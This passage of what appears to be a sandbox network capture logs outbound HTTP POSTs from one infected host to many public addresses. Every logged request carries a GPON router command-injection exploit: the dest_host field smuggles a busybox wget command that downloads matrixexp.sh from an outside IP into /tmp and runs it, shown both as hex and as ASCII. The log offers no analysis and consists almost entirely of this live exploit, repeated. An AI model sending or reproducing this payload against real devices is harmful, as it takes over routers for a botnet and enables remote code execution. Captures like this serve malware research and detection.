Mar 21, 2024 05:26:59.406928062 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1512	192.168.2.23	47682	178.119.68.234	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:59.406963110 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1513	192.168.2.23	48712	79.206.72.184	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:59.406985998 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1514	192.168.2.23	60936	42.74.35.117	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:59.406987906 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1515	192.168.2.23	51310	178.206.42.131	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:59.407007933 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1516	192.168.2.23	51996	5.24.253.247	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:59.407012939 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1517	192.168.2.23	34216	5.114.79.230	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:59.407027006 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1518	192.168.2.23	37414	42.220.51.91	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:59.407080889 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1519	192.168.2.23	40932	118.221.38.89	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:59.407089949 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1520	192.168.2.23	59670	37.161.199.137	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:59.407109976 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1521	192.168.2.23	53764	212.165.250.45	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:59.407114983 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1522	192.168.2.23	33554	5.74.226.1	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:59.407119036 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1523	192.168.2.23	43360	178.219.21.31	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:59.407180071 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1524	192.168.2.23	43626	210.51.189.108	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:59.407187939 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1525	192.168.2.23	49882	118.199.113.46	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:59.407187939 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1526	192.168.2.23	48958	178.180.120.186	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:59.407213926 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1527	192.168.2.23	45500	210.12.114.73	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:59.407274961 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1528	192.168.2.23	41700	79.106.250.32	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:59.407299995 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1529	192.168.2.23	57268	212.6.131.86	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:59.407305002 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1530	192.168.2.23	50518	2.170.9.31	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:59.407306910 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1531	192.168.2.23	42448	2.46.105.84	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:59.407331944 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1532	192.168.2.23	56898	2.149.51.116	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:59.407334089 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1533	192.168.2.23	59366	79.131.218.128	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:59.407382011 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1534	192.168.2.23	58454	210.216.105.47	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:59.407396078 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1535	192.168.2.23	50736	79.145.6.43	443

Timestamp	Bytes transferred	Direction	Data
